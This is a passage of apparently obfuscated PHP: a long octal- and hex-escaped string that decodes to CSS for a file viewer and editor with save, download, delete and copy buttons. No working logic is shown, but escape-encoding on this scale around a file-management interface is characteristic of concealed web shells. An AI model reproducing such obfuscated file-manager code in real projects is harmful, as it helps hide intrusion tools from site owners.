160\x6c\141\171\x3a\x20\146\154\x65\x78\x3b\xa\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\40\40\147\141\x70\x3a\40\x31\60\160\x78\x3b\12\x20\40\40\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\x20\x20\146\154\145\170\55\x77\x72\141\x70\x3a\40\167\x72\141\x70\73\xa\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x7d\12\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x2e\x76\x69\x65\x77\145\162\x2d\150\145\141\x64\145\162\x20\56\154\x65\x66\x74\x20\x2e\x6d\x65\164\x61\40\56\142\141\144\x67\145\x20\x7b\12\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\x62\x61\x63\153\147\x72\157\x75\x6e\144\72\40" . $color . "\62\62\x3b\xa\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\160\x61\144\x64\x69\x6e\147\72\x20\61\x70\x78\x20\70\x70\x78\73\12\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x62\157\x72\144\145\x72\x2d\x72\x61\144\151\165\163\72\40\x38\x70\170\x3b\12\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\x20\x20\x62\157\x72\144\145\x72\72\x20\x31\160\x78\40\x73\x6f\154\151\x64\40" . $color . "\x34\x34\73\12\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\146\157\156\164\55\x73\x69\x7a\x65\x3a\40\x37\x70\170\x3b\12\40\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x63\x6f\154\157\162\x3a\40" . $color . "\x3b\xa\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x7d\xa\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\40\40\56\166\x69\x65\167\x65\x72\x2d\150\x65\x61\144\145\x72\40\x2e\x61\x63\164\151\157\156\x73\40\173\12\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\x64\x69\163\x70\154\x61\x79\x3a\40\146\154\145\x78\x3b\12\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x67\141\x70\72\x20\x34\160\170\73\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\x66\154\x65\170\55\x77\162\141\160\72\40\x77\x72\x61\160\x3b\12\40\40\40\40\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x7d\xa\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\56\166\151\x65\167\x65\162\x2d\x68\x65\x61\x64\x65\x72\x20\56\141\x63\164\x69\x6f\156\163\x20\142\165\164\164\x6f\156\54\xa\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\56\x76\151\x65\167\x65\162\x2d\150\x65\x61\x64\145\162\x20\56\141\143\164\x69\x6f\x6e\x73\x20\141\40\173\xa\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\x70\141\x64\x64\x69\x6e\x67\x3a\x20\64\160\170\x20\x31\x32\x70\x78\73\xa\40\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\142\x6f\x72\x64\x65\x72\x3a\40\x6e\x6f\156\145\x3b\12\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\40\40\40\40\x62\x6f\x72\x64\145\162\x2d\162\x61\144\151\x75\x73\72\40\66\160\170\73\12\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\146\157\x6e\x74\x2d\x66\141\155\x69\x6c\171\x3a\x20\x27\x4a\x65\x74\x42\162\141\x69\156\x73\40\x4d\x6f\156\157\x27\54\x20\155\157\156\x6f\x73\x70\x61\143\145\x3b\12\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\146\157\x6e\164\55\x73\x69\x7a\x65\x3a\40\71\x70\x78\73\xa\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\40\40\x66\x6f\x6e\164\55\x77\x65\x69\x67\x68\x74\72\x20\x37\x30\x30\73\12\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\143\165\x72\x73\x6f\x72\72\40\160\157\x69\x6e\164\145\162\x3b\12\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\x20\164\x72\x61\x6e\x73\151\164\151\x6f\x6e\72\x20\x61\154\154\x20\x30\56\x33\x73\x3b\12\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x74\x65\170\164\55\144\x65\x63\x6f\162\x61\x74\x69\157\156\x3a\40\156\x6f\x6e\x65\73\12\40\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\144\151\163\160\x6c\141\x79\72\40\151\156\x6c\151\156\x65\55\x66\x6c\145\x78\73\xa\40\40\x20\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\40\x20\40\x20\141\154\x69\147\x6e\55\151\x74\145\155\x73\72\40\x63\145\156\164\x65\162\x3b\12\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\x67\141\160\72\x20\x34\x70\x78\73\12\x20\40\40\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x7d\xa\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\56\142\x74\156\55\x62\141\x63\x6b\x20\173\40\x62\141\143\x6b\147\x72\x6f\165\156\144\72\40\x23\x31\x61\x30\x35\x32\x35\73\40\x63\x6f\154\x6f\162\x3a\40\x23\65\x61\x32\x61\67\x61\x3b\x20\142\157\162\144\145\162\x3a\x20\61\x70\170\40\x73\x6f\x6c\151\144\40\43\63\x61\x30\x61\x35\141\73\x20\175\12\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\56\x62\x74\x6e\x2d\x62\x61\143\153\72\150\x6f\166\x65\162\x20\173\x20\142\x61\x63\x6b\x67\x72\157\165\156\x64\72\40\43\x62\63\60\60\146\x66\73\40\x63\x6f\154\x6f\162\72\40\43\x30\x61\60\x30\61\60\73\40\x74\162\x61\156\163\146\157\x72\155\x3a\40\163\143\141\x6c\x65\x28\x31\x2e\x30\x35\x29\73\40\175\xa\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\56\x62\x74\156\55\163\141\166\x65\x20\173\x20\x62\141\143\153\x67\162\157\165\x6e\x64\x3a\x20\43\x62\63\60\60\x66\146\x3b\40\143\x6f\x6c\157\x72\x3a\x20\43\60\x61\60\60\x31\x30\x3b\x20\142\x6f\170\x2d\x73\x68\x61\x64\157\x77\72\40\x30\40\60\40\63\60\160\170\x20\x72\147\x62\141\50\61\67\71\54\x30\x2c\62\65\x35\54\x30\56\x32\51\x3b\x20\x7d\xa\x20\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x2e\x62\x74\x6e\55\x73\x61\x76\145\x3a\150\x6f\x76\145\162\x20\173\x20\x62\x61\143\x6b\x67\162\x6f\x75\x6e\x64\x3a\x20\43\x38\146\60\60\143\x63\x3b\40\x74\x72\x61\156\163\x66\157\x72\155\72\40\x73\x63\x61\x6c\x65\x28\61\56\x30\x35\51\x3b\x20\x62\x6f\x78\x2d\x73\x68\x61\144\x6f\x77\x3a\x20\60\40\60\x20\x35\x30\x70\x78\40\x72\147\142\x61\x28\61\67\x39\x2c\60\54\x32\65\65\54\60\x2e\63\51\x3b\40\x7d\xa\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\56\x62\x74\x6e\55\144\x6f\x77\156\x6c\x6f\x61\x64\40\173\x20\142\x61\143\x6b\147\x72\157\x75\156\144\x3a\x20\43\62\145\143\143\67\x31\73\40\x63\157\154\157\162\72\x20\43\60\141\60\60\x31\x30\73\40\x62\x6f\x78\x2d\163\x68\141\144\x6f\167\x3a\40\60\x20\x30\x20\x33\x30\x70\170\40\x72\x67\142\x61\50\64\66\54\62\x30\64\54\x31\61\63\x2c\60\56\x32\51\x3b\40\x7d\12\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\x2e\x62\x74\x6e\55\144\157\167\x6e\x6c\x6f\x61\x64\72\x68\x6f\166\x65\x72\40\x7b\40\x62\x61\x63\x6b\147\x72\157\165\x6e\144\72\40\43\62\x37\x61\x65\66\x30\73\x20\164\162\x61\x6e\163\146\157\x72\155\72\x20\163\143\141\x6c\145\50\61\56\x30\x35\x29\73\40\175\xa\40\x20\x20\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\40\56\x62\164\x6e\55\x64\145\x6c\145\x74\x65\x20\x7b\40\142\x61\143\153\x67\162\157\x75\x6e\x64\x3a\40\43\142\63\60\x30\146\146\73\40\143\x6f\x6c\x6f\162\x3a\x20\x23\60\x61\60\60\x31\x30\x3b\x20\x62\157\170\x2d\x73\x68\x61\x64\x6f\167\72\40\x30\40\60\x20\x33\60\x70\x78\x20\x72\147\142\x61\50\61\67\71\x2c\60\x2c\x32\x35\x35\x2c\x30\x2e\62\51\x3b\40\x7d\12\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\x2e\x62\164\x6e\x2d\144\x65\154\x65\x74\x65\x3a\150\x6f\x76\145\x72\x20\x7b\40\142\141\x63\x6b\x67\162\157\165\156\x64\72\x20\x23\x38\146\60\60\143\x63\73\x20\164\162\x61\x6e\163\146\157\162\x6d\72\x20\x73\x63\x61\x6c\x65\x28\x31\x2e\60\65\x29\x3b\x20\175\12\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\12\40\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\x2e\166\x69\x65\x77\x65\x72\x2d\142\157\144\171\40\173\xa\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x70\141\x64\144\151\156\x67\x3a\40\61\x32\x70\x78\40\x31\x36\x70\x78\73\xa\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\x6d\x69\x6e\55\x68\145\x69\x67\150\x74\72\40\62\60\x30\160\170\73\12\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\x7d\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\40\40\40\x20\40\56\x69\155\141\x67\145\55\x62\x6f\170\40\173\40\164\145\x78\164\x2d\x61\x6c\x69\x67\156\72\40\143\145\156\x74\145\x72\x3b\40\160\141\144\x64\151\156\147\72\x20\x31\60\160\x78\73\40\175\12\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\40\56\x69\x6d\141\147\x65\x2d\x62\x6f\x78\x20\151\x6d\x67\x20\173\40\xa\x20\x20\40\40\x20\40\40\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x6d\141\170\55\167\x69\144\164\x68\72\x20\x31\x30\x30\x25\x3b\40\xa\40\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\x6d\141\x78\55\x68\145\151\147\150\x74\72\x20\x35\x30\60\160\170\73\40\12\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\40\40\x62\157\162\144\145\x72\x2d\162\x61\144\151\x75\163\72\40\70\x70\x78\x3b\40\12\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\142\157\170\55\x73\150\x61\x64\x6f\167\72\40\60\40\60\40\x36\x30\160\x78\40\x72\147\x62\x61\50\x31\x37\71\54\x30\54\x32\65\x35\x2c\x30\56\x30\70\x29\x3b\xa\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\40\x20\40\40\40\141\x6e\151\x6d\141\164\x69\x6f\x6e\x3a\x20\151\x6d\x61\147\145\x47\154\157\x77\x20\x35\x73\x20\145\141\163\145\x2d\x69\x6e\55\x6f\x75\164\40\x69\x6e\146\151\156\151\164\145\x3b\12\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\175\12\40\40\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\100\153\145\x79\146\x72\x61\x6d\145\x73\40\x69\155\x61\x67\x65\107\154\x6f\167\40\x7b\xa\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\60\45\x2c\40\x31\x30\x30\45\x20\x7b\x20\x62\x6f\x78\55\163\150\141\x64\x6f\x77\72\40\60\40\x30\x20\x36\60\x70\170\x20\x72\x67\x62\141\x28\x31\67\x39\54\60\54\62\65\65\54\60\56\60\70\51\x3b\40\x7d\12\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x35\60\x25\40\x7b\40\142\157\x78\x2d\x73\x68\x61\144\157\x77\72\x20\x30\40\60\x20\61\x30\60\160\170\40\x72\147\142\x61\50\61\x37\x39\54\60\x2c\62\65\65\x2c\60\56\61\65\51\x3b\x20\175\xa\40\40\x20\40\40\40\40\x20\40\x20\40\40\40\x20\40\40\x7d\xa\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\56\x63\157\x64\x65\55\142\157\170\x20\173\12\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\142\141\x63\153\147\162\157\165\x6e\144\72\x20\43\60\141\x30\x30\x31\60\73\xa\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\40\142\x6f\x72\144\x65\162\x3a\40\61\160\170\40\x73\157\x6c\x69\x64\x20\x23\x62\x33\x30\x30\146\146\64\64\73\xa\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\142\157\x72\144\x65\162\x2d\162\x61\144\x69\x75\x73\x3a\40\70\x70\x78\x3b\12\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x6f\x76\x65\x72\146\x6c\x6f\x77\x3a\40\x68\151\144\144\145\x6e\x3b\xa\40\40\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x7d\xa\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\56\x63\x6f\x64\x65\x2d\142\157\170\40\x2e\x74\x6f\x6f\x6c\x62\x61\162\x20\173\12\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\40\40\142\x61\x63\x6b\147\162\x6f\165\x6e\x64\72\40\43\x30\141\60\x30\x31\60\x3b\12\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x70\x61\144\144\151\x6e\x67\72\x20\x34\160\170\x20\x31\60\160\x78\73\12\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\142\x6f\x72\144\145\162\55\142\x6f\x74\164\x6f\155\72\40\61\160\170\x20\x73\x6f\x6c\151\x64\40\x23\142\x33\60\60\146\146\64\64\73\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x64\x69\x73\160\154\141\171\72\40\x66\x6c\x65\170\x3b\12\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\152\x75\163\164\151\x66\171\55\143\x6f\156\164\145\156\x74\72\40\163\x70\x61\143\x65\x2d\x62\x65\x74\x77\x65\145\x6e\73\12\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\x20\x20\146\x6f\x6e\164\x2d\x73\151\x7a\x65\72\40\70\160\170\73\12\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x63\157\154\157\x72\x3a\x20\x23\65\141\61\141\67\141\73\xa\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x7d\xa\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x2e\143\x6f\x64\x65\x2d\142\157\x78\x20\x2e\164\x6f\157\x6c\x62\141\x72\x20\x2e\154\x61\156\x67\x20\173\40\12\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\143\157\x6c\157\162\72\x20" . $color . "\x3b\40\xa\x20\40\40\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x66\157\156\x74\x2d\167\x65\x69\x67\x68\164\72\40\67\60\60\x3b\12\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\141\x6e\151\x6d\141\164\x69\x6f\x6e\x3a\x20\x74\x65\170\164\107\x6c\157\x77\x20\63\163\40\x65\141\x73\145\x2d\151\x6e\x2d\157\x75\x74\x20\151\156\146\151\156\151\164\x65\73\12\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x7d\xa\x20\x20\40\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\x40\x6b\145\x79\146\x72\x61\x6d\x65\163\x20\164\145\x78\164\107\154\157\x77\40\173\xa\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x30\45\54\40\61\x30\x30\x25\x20\173\x20\x74\x65\x78\164\55\x73\150\x61\144\x6f\x77\x3a\40\x30\x20\x30\x20\61\x30\160\170\40\x72\147\142\x61\x28\x31\67\71\x2c\x30\54\62\65\x35\54\60\51\73\x20\x7d\12\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\65\x30\45\40\x7b\x20\164\145\x78\x74\x2d\x73\x68\x61\x64\157\167\72\x20\x30\40\60\40\62\60\160\170\x20\162\147\x62\141\x28\61\67\71\54\60\x2c\x32\65\65\54\x30\56\63\51\x3b\x20\x7d\xa\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x7d\xa\40\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x2e\x63\157\144\x65\55\142\x6f\x78\x20\x74\x65\170\164\141\162\145\141\40\x7b\12\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\40\167\x69\x64\164\x68\x3a\40\x31\x30\60\45\x3b\xa\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\155\151\156\x2d\150\x65\151\x67\150\164\x3a\40\x33\x30\x30\x70\x78\73\xa\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x62\141\x63\153\x67\162\x6f\x75\x6e\x64\72\40\x23\x30\141\x30\60\61\60\73\12\x20\x20\40\40\40\40\40\40\40\40\40\40\40\x20\x20\40\x20\40\x20\40\x62\x6f\162\x64\x65\x72\72\40\x6e\x6f\156\145\73\12\40\40\40\x20\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\143\x6f\154\x6f\x72\x3a\x20\x23\142\x30\143\x34\x64\145\73\12\40\40\40\x20\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\146\x6f\x6e\164\x2d\146\141\155\x69\x6c\x79\72\40\47\x4a\145\164\x42\162\x61\151\x6e\163\x20\x4d\157\x6e\157\47\54\40\x6d\157\156\x6f\163\160\x61\x63\145\73\xa\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\146\157\x6e\x74\x2d\163\x69\172\x65\x3a\40\x31\61\x70\170\73\xa\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\40\x6c\151\156\x65\x2d\150\x65\151\x67\x68\164\72\40\x31\56\x37\x3b\xa\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x70\141\x64\x64\x69\x6e\147\x3a\x20\x31\62\160\170\x20\x31\x34\160\170\x3b\xa\40\40\40\40\40\40\40\40\40\40\40\x20\40\40\40\x20\40\40\x20\x20\162\145\x73\x69\172\x65\72\40\x76\145\x72\164\x69\x63\141\x6c\73\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x6f\x75\x74\x6c\151\x6e\145\72\40\156\x6f\x6e\145\x3b\12\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\40\40\x20\40\x7d\xa\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x20\56\143\157\x64\x65\55\x62\157\170\x20\x74\145\x78\164\x61\x72\x65\x61\72\146\x6f\143\165\163\x20\173\40\142\x6f\x78\55\x73\150\141\x64\157\167\72\x20\x69\156\163\145\164\x20\x30\40\x30\40\x36\60\160\170\x20\162\x67\142\141\50\x31\67\71\54\x30\x2c\x32\65\x35\54\x30\x2e\60\63\x29\73\40\x7d\12\40\40\40\x20\40\x20\40\x20\40\40\40\40\40\40\40\40\x2e\x63\157\144\145\55\x62\x6f\x78\40\x2e\145\x64\x69\x74\x6f\162\x2d\141\143\x74\151\157\x6e\x73\40\x7b\xa\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\40\40\160\x61\x64\144\151\156\147\x3a\x20\66\x70\170\x20\x31\x30\160\170\73\12\40\x20\x20\40\40\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\142\x6f\x72\144\x65\x72\x2d\164\157\x70\72\x20\61\x70\170\40\x73\157\154\151\144\x20\x23\142\63\x30\x30\146\x66\x34\x34\73\xa\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x64\151\163\x70\x6c\x61\171\72\x20\146\154\145\170\x3b\12\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x67\x61\x70\72\40\x34\x70\x78\73\xa\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x66\154\x65\x78\x2d\x77\x72\x61\160\x3a\x20\167\162\x61\x70\73\xa\40\40\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\142\x61\143\153\147\x72\157\x75\156\x64\x3a\x20\x23\x30\141\x30\60\x31\x30\73\xa\x20\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\40\x20\175\12\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x2e\x63\x6f\144\x65\x2d\x62\157\170\x20\56\145\x64\151\164\x6f\162\55\x61\x63\x74\151\x6f\156\x73\40\x62\165\x74\164\x6f\156\x20\x7b\12\40\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\40\40\x20\160\141\144\x64\151\156\x67\72\40\64\160\x78\40\61\62\x70\170\73\xa\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x62\x6f\x72\x64\x65\162\72\40\156\x6f\x6e\x65\x3b\12\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\142\157\x72\x64\145\162\55\x72\x61\144\x69\165\x73\x3a\40\x34\160\170\73\12\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\x66\x6f\156\164\x2d\x66\x61\155\151\154\171\x3a\40\x27\x4a\145\x74\x42\162\141\x69\156\x73\40\115\x6f\x6e\157\47\x2c\x20\x6d\x6f\156\x6f\x73\x70\x61\143\145\73\xa\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\x66\x6f\156\164\55\163\x69\172\145\x3a\40\x39\x70\170\73\12\x20\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x66\x6f\x6e\x74\55\167\x65\151\x67\x68\164\72\40\x37\60\x30\x3b\12\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x63\165\x72\x73\157\162\x3a\40\x70\157\151\x6e\x74\x65\x72\73\xa\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\x20\164\162\x61\x6e\x73\151\x74\151\157\156\x3a\40\x30\56\63\163\x3b\xa\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x64\x69\x73\x70\154\141\171\x3a\x20\151\x6e\154\x69\156\x65\55\x66\154\145\170\x3b\12\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\141\154\x69\147\x6e\x2d\x69\x74\145\x6d\163\72\40\143\145\156\164\x65\x72\x3b\xa\40\40\40\40\40\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\40\147\141\x70\72\40\x34\160\x78\73\xa\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x7d\12\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x2e\x63\157\144\x65\x2d\x62\157\170\40\x2e\x65\144\x69\164\x6f\x72\x2d\x61\143\x74\x69\157\156\x73\x20\56\x62\164\x6e\x2d\163\141\x76\x65\40\x7b\40\142\141\143\x6b\147\x72\x6f\165\x6e\x64\x3a\40\43\x62\63\x30\x30\146\x66\73\x20\x63\x6f\154\x6f\162\x3a\x20\43\x30\141\60\x30\61\60\x3b\x20\x62\157\x78\x2d\x73\150\x61\x64\157\x77\x3a\x20\60\40\60\40\x32\x30\x70\170\x20\162\147\x62\x61\50\61\x37\x39\54\60\x2c\62\x35\x35\x2c\60\x2e\x31\x35\51\73\40\175\12\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x2e\x63\x6f\x64\145\55\x62\157\170\x20\56\x65\144\151\x74\157\162\55\141\143\164\x69\157\156\x73\40\x2e\142\x74\156\55\163\141\x76\x65\x3a\150\157\166\145\162\x20\x7b\x20\x62\x61\143\153\147\x72\x6f\x75\156\x64\x3a\x20\x23\70\x66\60\60\143\x63\x3b\x20\164\x72\141\156\163\x66\157\162\x6d\x3a\x20\x73\143\x61\x6c\x65\50\61\56\x30\x35\51\73\40\175\12\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x2e\x63\x6f\x64\x65\x2d\142\157\x78\40\x2e\145\x64\151\x74\x6f\x72\x2d\141\x63\x74\x69\157\156\x73\x20\56\x62\x74\156\55\143\157\160\171\x20\x7b\40\142\x61\x63\153\x67\162\157\x75\x6e\144\x3a\40\x23\61\141\x30\x35\x32\65\x3b\x20\x63\157\154\157\162\x3a\40\43\x35\141\62\x61\x37\x61\x3b\x20\142\157\x72\144\x65\x72\x3a\x20\x31\x70\170\x20\x73\x6f\x6c\x69\144\x20\x23\x33\141\60\141\x35\x61\73\x20\x7d\12\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\40\40\40\x20\x2e\143\x6f\144\145\55\x62\157\170\40\56\145\144\151\164\x6f\x72\55\141\143\164\151\x6f\156\163\x20\x2e\x62\x74\x6e\x2d\x63\x6f\x70\171\x3a\x68\157\166\x65\x72\x20\x7b\x20\x62\141\x63\x6b\147\162\x6f\165\156\x64\72\40\x23\x62\x33\60\60\146\x66\73\40\x63\x6f\x6c\x6f\162\72\x20\x23\x30\141\60\60\x31\x30\x3b\x20\142\x6f\162\x64\145\x72\x2d\143\157\x6c\157\162\72\40\x23\142\x33\60\60\x66\x66\x3b\x20\175\xa\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\56\142\141\x64\147\x65\x20\173\12\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x62\x61\143\x6b\x67\x72\x6f\x75\x6e\144\x3a\x20\43\61\x61\x30\65\x32\x35\73\xa\x20\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\40\x20\40\40\x70\x61\144\x64\x69\156\x67\72\40\x31\160\x78\x20\66\160\170\73\xa\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\142\157\162\144\x65\x72\x2d\162\x61\x64\151\165\x73\72\40\70\x70\x78\73\xa\x20\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\146\157\156\x74\x2d\163\151\x7a\x65\x3a\40\67\160\x78\73\xa\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\143\157\x6c\157\x72\x3a\x20\43\65\x61\62\141\x37\x61\x3b\xa\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\142\157\x72\x64\145\x72\x3a\x20\x31\160\x78\40\163\157\154\151\144\40\43\x33\141\x30\x61\65\141\73\12\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\x7d\12\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\